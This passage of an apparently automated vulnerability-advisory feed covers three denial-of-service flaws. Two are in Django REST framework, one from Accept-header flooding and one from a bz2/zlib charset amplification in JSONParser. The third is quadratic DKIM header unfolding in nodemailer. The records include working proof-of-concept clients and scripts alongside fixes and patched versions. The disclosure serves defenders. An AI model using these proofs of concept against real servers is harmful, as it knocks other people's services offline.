APIView\nfrom rest_framework.response import Response\n\nclass Items(APIView):\n def get(self, request):\n return Response([{'id': 1, 'name': 'ok'}])\n```\n\npocproj/urls.py:\n```python\nfrom django.urls import path\nfrom .api import Items\nurlpatterns = [path('items/', Items.as_view())]\n```\n\nStart it:\n\n python manage.py migrate --noinput\n gunicorn pocproj.wsgi:application --bind 0.0.0.0:8000 --workers 2\n\nClient, stdlib only, run with python3:\n```python\nimport http.client, threading, time\n\nTARGET = ('localhost', 8000)\n\ndef fields(n=96, semis=8100):\n # 8100 semicolons keeps each field under gunicorn's limit_request_field_size\n # (8190) and each token under Django's MAX_HEADER_LENGTH (10000). Distinct\n # x{i} names stop order_by_precedence from deduplicating the tokens.\n return [f'text/x-poc{i}; x{i}=\"' + ';'*semis + '\"' for i in range(n)]\n\ndef burn():\n c = http.client.HTTPConnection(*TARGET, timeout=120)\n c.putrequest('GET', '/items/', skip_accept_encoding=True)\n for f in fields():\n c.putheader('Accept', f)\n c.endheaders()\n r = c.getresponse(); r.read(); c.close()\n return r.status\n\nt = time.perf_counter()\nprint('single:', burn(), f'{time.perf\n\nAffected package ranges reported by GitHub:\ndjangorestframework: < 3.18.2","action":"GitHub lists first patched versions: djangorestframework: 3.18.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:17:13.000Z","updatedAt":"2026-10-22T17:34:37.867Z","regions":["Global"],"vendor":null,"product":"djangorestframework","stacks":["Python packages (PyPI)","djangorestframework","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114138","asOf":"2026-10-22T17:34:37.867Z"},"epss":{"probability":0.0052,"percentile":0.43917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114138&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-33wh-fxxf-88vv","url":"https://github.com/advisories/GHSA-33wh-fxxf-88vv","type":"primary","publishedAt":"2026-10-22T16:17:13.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-33wh-fxxf-88vv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-33wh-fxxf-88vv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-33wh-fxxf-88vv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-33wh-fxxf-88vv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-33wh-fxxf-88vv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-33wh-fxxf-88vv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-33wh-fxxf-88vv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-33wh-fxxf-88vv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-33wh-fxxf-88vv, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114138","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114138","type":"primary","publishedAt":"2026-10-21T21:17:56.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114138&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114138, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114136","cveId":"CVE-2026-114136","aliases":["GHSA-3547-9m27-7rxg"],"kind":"vulnerability","title":"Django REST framework: JSONParser applies an attacker-named codec to the request stream","summary":"An unauthenticated attacker can defeat Django's `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a\nworker process to allocate arbitrary memory, by naming a compression codec in the Content-Type\ncharset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an\namplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application\nconfiguration is required beyond DRF's default parser set; the endpoint only has to accept a JSON\nbody.\n\n`JSONParser.parse` decodes the request body with the charset the client supplied on the Content-Type\nheader:","detail":"### Summary\n\nAn unauthenticated attacker can defeat Django's `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a\nworker process to allocate arbitrary memory, by naming a compression codec in the Content-Type\ncharset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an\namplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application\nconfiguration is required beyond DRF's default parser set; the endpoint only has to accept a JSON\nbody.\n\n### Details\n\n`JSONParser.parse` decodes the request body with the charset the client supplied on the Content-Type\nheader:\n\n```python\n# rest_framework/parsers.py\nencoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)\ntry:\n decoded_stream = codecs.getreader(encoding)(stream)\n parse_constant = json.strict_constant if self.strict else None\n return json.load(decoded_stream, parse_constant=parse_constant)\nexcept ValueError as exc:\n raise ParseError('JSON parse error - %s' % str(exc))\n```\n\nOf the roughly 455 codec names `codecs.lookup` resolves on CPython 3.14, about 18 are byte transforms\ninstead of character sets: `bz2_codec`, `zlib_codec`, `base64_codec`, `hex_codec`, `quopri_codec`,\n`uu_codec` and similar. `codecs.getreader` is the only entry point in the `codecs` module that does\nnot consult `CodecInfo._is_text_encoding`, so it accepts all of them. Sending\n`Content-Type: application/json; charset=bz2_codec` wraps the request stream in a bz2 decompressor\nbefore `json.load` reads it.\n\nThe ordering is what makes this exploitable. Django charges `DATA_UPLOAD_MAX_MEMORY_SIZE` against the\nbytes that arrived on the wire: `rest_framework/request.py` hands `JSONParser` an\n`io.BytesIO(self.body)`, and `HttpRequest.body` is where `_check_data_too_big()` runs. Decompression\nhappens afterwards, inside the parser, where nothing is counting.\n\nThis is DRF's defect and not Django's. Django resolves the charset parameter and assigns\n`request.encoding`, and `codecs.lookup` does resolve byte transforms, but every Django consumer of\n`request.encoding` goes through the text-codec API and fails closed. Both `bytes.decode('bz2_codec')`\nand `str(raw, 'bz2_codec')` raise\n`LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs`.\nDRF is the only caller that hands the request stream to `codecs.getreader`.\n\n`FormParser` (`parsers.py:84`) and `MultiPartParser` (`parsers.py:104-118`) take the same client-named\nencoding but fail closed instead of amplifying.\n\nThe sink was introduced by `9a228116` (PR #5147, 2017-05-24, \"Improve memory footprint when reading\nlarge JSON requests\"), first released in 3.6.4. The final comment on that PR observes the intended\nmemory gain does not hold because `read()` decodes the whole stream, which is the same property that\nmakes this expansion unbounded. No `_is_text_encoding` check has been added since.\n\nA one-line fix at `parsers.py:61-64`:\n\n```python\nif not codecs.lookup(encoding)._is_text_encoding:\n raise ParseError('Unsupported charset in Content-Type')\n```\n\n### PoC\n\nSave as `poc_charset_amplification.py` and run it. It builds its own payloads, runs each arm in a\nfresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports\nnear-zero growth for every arm after the first), and prints a verdict.\n\n```python\n#!/usr/bin/env python\n\"\"\"\ndjango-rest-framework: JSONParser applies an attacker-named codec to the request\nstream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.\n\nFour arms, each in a fresh subprocess because peak RSS is a high-water mark and\nmeasuring several arms in one process reports ~0 growth for every arm after the\nfirst.\n\n T ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec\n C1 48 MiB plaintext, Content-Type: application/json (no charset)\n C2 the byte-identical T body, charset=utf-8\n C3 zlib body, charset=zlib_codec\n\nThe claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the\ncodec name and not the payload is what produces the expansion.\n\nRequires: django, djangorestframework importable. No arguments, nothing to edit.\n python poc_charset_amplification.py\nExit status 0 means every arm behaved as described in the advisory.\n\"\"\"\nimport hashlib\nimport json\nimport os\nimport subprocess\nimport sys\nimport tempfile\n\nPAYLOAD_CHARS = 48 * 1024 * 1024\nPAYLOAD_DIR = os.path.join(tempfile.gettempdir(), \"drf-charset-amp\")\nLIMIT = 65536\n\nARMS = {\n \"T\": (\"bz2.bin\", \"application/json; charset=bz2_codec\"),\n \"C1\": (\"plain.bin\", \"application/json\"),\n \"C2\": (\"bz2.bin\", \"application/json; charset=utf-8\"),\n \"C3\": (\"zlib.bin\", \"application/json; charset=zlib_codec\"),\n}\nEXPECTED = {\n \"T\": \"HTTP 200, parsed value orders of magnitude larger than the wire bytes\",\n \"C1\": \"rejected with RequestDataTooBig, view body never runs\",\n \"C2\": \"HTTP 400 ParseError on the byte-identical compressed body\",\n \"C3\": \"HTTP 200, same expansion under a different codec name\",\n}\nVIEW_RAN = []\n\ndef build_payloads():\n import bz2\n import zlib\n\n os.makedirs(PAYLOAD_DIR, exist_ok=True)\n plain = b'{\"a\":\"' + b\"A\" * PAYLOAD_CHARS + b'\"}'\n blobs = {\n \"plain.bin\": plain,\n \"bz2.bin\": bz2.compress(plain, 9),\n \"zlib.bin\": zlib.compress(plain, 9),\n }\n for name, blob in blobs.items():\n with open(os.path.join(PAYLOAD_DIR, name), \"wb\") as fh:\n fh.write(blob)\n return {name: len(blob) for name, blob in blobs.items()}\n\ndef configure_django():\n from django.conf import settings\n\n settings.configure(\n DEBUG=False,\n ALLOWED_HOSTS=[\"testserver\"],\n SECRET_KEY=\"poc\",\n ROOT_URLCONF=__name__,\n MIDDLEWARE=[],\n INSTALLED_APPS=[\n \"django.contrib.contenttypes\",\n \"django.contrib.auth\",\n \"rest_framework\",\n ],\n DATABASES={\n \"default\": {\"ENGINE\": \"django.db.backends.sqlite3\", \"NAME\": \":memory:\"}\n },\n DEFAULT_CHARSET=\"utf-8\",\n DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,\n LOGGING_CONFIG=None,\n USE_TZ=True,\n )\n import django\n\n django.setup()\n\ndef build_view():\n from rest_framework.response import Response\n from rest_framework.views import APIView\n\n class Echo(APIView):\n\nAffected package ranges reported by GitHub:\ndjangorestframework: >= 3.6.4, < 3.18.2","action":"GitHub lists first patched versions: djangorestframework: 3.18.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:16:09.000Z","updatedAt":"2026-10-22T17:21:57.293Z","regions":["Global"],"vendor":null,"product":"djangorestframework","stacks":["Python packages (PyPI)","djangorestframework","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114136","asOf":"2026-10-22T17:21:57.293Z"},"epss":{"probability":0.0044,"percentile":0.37981,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114136&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-3547-9m27-7rxg","url":"https://github.com/advisories/GHSA-3547-9m27-7rxg","type":"primary","publishedAt":"2026-10-22T16:16:09.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-3547-9m27-7rxg, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114136","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114136","type":"primary","publishedAt":"2026-10-21T20:17:25.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114136&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114136, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110871","cveId":"CVE-2026-110871","aliases":["GHSA-39m8-27wv-hr27"],"kind":"vulnerability","title":"Nodemailer: Quadratic (O(n^2)) DKIM header unfolding lets a large folded header cause remote denial of service during signing","summary":"When nodemailer DKIM-signs an outbound message, its DKIM message parser unfolds RFC 5322 header continuation lines with a loop that concatenates each continuation line onto the preceding line and then re-tests the anchored regex `/^[ \\t]/` against the growing merged line on every iteration. Re-testing the regex against the ever-growing accumulated line forces a full string flatten proportional to the accumulated length on each iteration, yielding O(n^2) CPU in the number of continuation lines. An application user who influences the size of a header that folds into many continuation lines (most naturally a large recipient list, but also a long custom header, Subject, or References) can drive tens of thousands of continuation lines and block the single-threaded Node.js event loop for seconds during signing, a repeatable denial of service.\n\nThe invariant that signing a message performs work linear in the message size is violated in the header-unfolding step. In `src/dkim/message-parser.ts`, `parseHeaders()` splits the buffered header block into `lines` and iterates backward; for each line matching the continuation pattern `/^[ \\t]/`, it does `lines[i - 1] += '\\n' + lines[i]` and `lines.splice(i, 1)`. The dominant cost is not the array splice: iterating backward keeps each splice near the shrinking tail, so it shifts only the few trailing header lines. The quadratic cost is the anchored regex test `/^[ \\t]/.test(lines[i])` (together with the `+=` concatenation) evaluated against the growing merged line on every iteration. The `+=` builds an O(1) rope, but the next iteration's regex test forces a full flatten of the entire accumulated line, so the total cost is the sum over all continuation lines, which is O(n^2). The header block is buffered by `checkHeaders` without any size or line-count cap; the DKIM signer's `MAX_MESSAGE_SIZE` and `cacheTreshold` knobs gate the body stream only, not the header block, so nothing bounds the number of continuation lines fed to the loop.","detail":"## Summary\n\nWhen nodemailer DKIM-signs an outbound message, its DKIM message parser unfolds RFC 5322 header continuation lines with a loop that concatenates each continuation line onto the preceding line and then re-tests the anchored regex `/^[ \\t]/` against the growing merged line on every iteration. Re-testing the regex against the ever-growing accumulated line forces a full string flatten proportional to the accumulated length on each iteration, yielding O(n^2) CPU in the number of continuation lines. An application user who influences the size of a header that folds into many continuation lines (most naturally a large recipient list, but also a long custom header, Subject, or References) can drive tens of thousands of continuation lines and block the single-threaded Node.js event loop for seconds during signing, a repeatable denial of service.\n\n## Root Cause\n\nThe invariant that signing a message performs work linear in the message size is violated in the header-unfolding step. In `src/dkim/message-parser.ts`, `parseHeaders()` splits the buffered header block into `lines` and iterates backward; for each line matching the continuation pattern `/^[ \\t]/`, it does `lines[i - 1] += '\\n' + lines[i]` and `lines.splice(i, 1)`. The dominant cost is not the array splice: iterating backward keeps each splice near the shrinking tail, so it shifts only the few trailing header lines. The quadratic cost is the anchored regex test `/^[ \\t]/.test(lines[i])` (together with the `+=` concatenation) evaluated against the growing merged line on every iteration. The `+=` builds an O(1) rope, but the next iteration's regex test forces a full flatten of the entire accumulated line, so the total cost is the sum over all continuation lines, which is O(n^2). The header block is buffered by `checkHeaders` without any size or line-count cap; the DKIM signer's `MAX_MESSAGE_SIZE` and `cacheTreshold` knobs gate the body stream only, not the header block, so nothing bounds the number of continuation lines fed to the loop.\n\n```text\nAffected file and function (verified at the published v10.0.9 artifact, in src/ and compiled verbatim into the published dist output):\n- src/dkim/message-parser.ts: MessageParser.parseHeaders (the continuation-unfold loop that re-tests /^[ \\t]/ against the growing merged line)\n```\n\n## Impact\n\nAn attacker or user who can make an outbound, DKIM-signed message carry a header that folds into a large number of continuation lines can freeze the sending Node.js process during signing. Because Node.js is single-threaded, the synchronous unfold loop starves the entire event loop, halting all other work in the process, and it is repeatable on every such message. The natural lever is a large recipient list: nodemailer's own MIME composer folds a To or Cc value at column 76 into space-prefixed continuation lines, and the count scales linearly with the number of recipients, so a caller-supplied recipient list (common in bulk-mail, notification, and multi-tenant email APIs) turns into tens of thousands of continuation lines. The single precondition is that DKIM signing is enabled, which is a mainstream deliverability configuration. Independent reproduction on Node.js 24 measured roughly 2.8 seconds of event-loop blocking at about 20,000 continuation lines and roughly 11.5 seconds at about 40,000, scaling quadratically; the full composer-to-signer chain with a 60,000-recipient To header blocked for roughly 6.6 seconds. The applications that cap recipient count or header size shrink the exposed population but do not change the per-message availability impact once a large header is accepted.\n\n## Proof of Concept\n\n`Node.js 24; the shipped DKIM signer (require('nodemailer/lib/dkim')) or the exact unfold loop.`\n\nSteps: (1) construct a message whose header block contains one header value folded into many space-prefixed continuation lines (for example by supplying a very large recipient list, which nodemailer's MIME composer folds automatically); (2) DKIM-sign it and observe the event loop stall while `parseHeaders` unfolds the block. A minimal microbenchmark of the exact unfold logic demonstrates the complexity:\n\n```js\n// Reproduces the parseHeaders unfold loop verbatim (Node 24).\nfunction unfold(headerBlock) {\n const lines = headerBlock.split(/\\r?\\n/);\n for (let i = lines.length - 1; i > 0; i--) {\n if (/^[ \\t]/.test(lines[i])) {\n lines[i - 1] += '\\n' + lines[i];\n lines.splice(i, 1);\n }\n }\n return lines;\n}\nfunction run(n) {\n let block = 'To: a@b.c\\r\\n';\n for (let i = 0; i < n; i++) block += ' cont-' + i + '@example.com,\\r\\n';\n for (let k = 0; k < 5; k++) block += 'X-H' + k + ': v\\r\\n';\n const t = Date.now();\n unfold(block);\n return Date.now() - t;\n}\nfor (const n of [5000, 10000, 20000, 40000]) console.log(n, run(n) + 'ms');\n```\n\n```text\n5000 27ms\n10000 542ms\n20000 2853ms\n40000 11503ms\n(2x input yields roughly 4x-5x time: quadratic. The cost is the regex re-flatten of the growing merged line, not the splice.)\n```\n\n## Attack Chain\n\n1. **Exposure:** An application DKIM-signs outbound mail (a mainstream deliverability configuration, enabled per transport or per message) for a message whose header size is influenced by a user, for example a large recipient list, a long custom header, Subject, or References.\n2. **Control:** The attacker or user controls the size of that header. The MIME composer folds it deterministically at column 76 into space-prefixed continuation lines that match the continuation pattern, so the continuation-line count scales linearly with the supplied size.\n3. **Path:** Signing pipes the composed message through the DKIM MessageParser; `checkHeaders` buffers the whole header block into `rawHeaders` and calls `parseHeaders()`, the single sink, on every signed message.\n4. **Guard:** No header-size or line-count cap exists between the input and the sink; the signer's body-only size thresholds do not apply to the header block.\n5. **Primitive:** The unfold loop re-tests the anchored regex against th\n\nAffected package ranges reported by GitHub:\nnodemailer: >= 3.0.0, <= 10.0.9","action":"GitHub lists first patched versions: nodemailer: 10.0.10. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:07:04.000Z","updatedAt":"2026-10-22T16:07:06.000Z","regions":["Global"],"vendor":null,"product":"nodemailer","stacks":["JavaScript packages (npm)","nodemailer","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-39m8-27wv-hr27","asOf":"2026-10-22T16:07:06.000Z"},"epss":{"probability":0.00381,"percentile":0.31775,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110871&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-39m8-27wv-hr27","url":"https://github.com/advisories/GHSA-39m8-27wv-hr27","type":"primary","publishedAt":"2026-10-22T16:07:04.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-39m8-27wv-hr27, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-39m8-27wv-hr27, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-39m8-27wv-hr27, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-39m8-27wv-hr27, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-39m8-27wv-hr27, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-39m8-27wv-hr27, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-39m8-27wv-hr27, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API 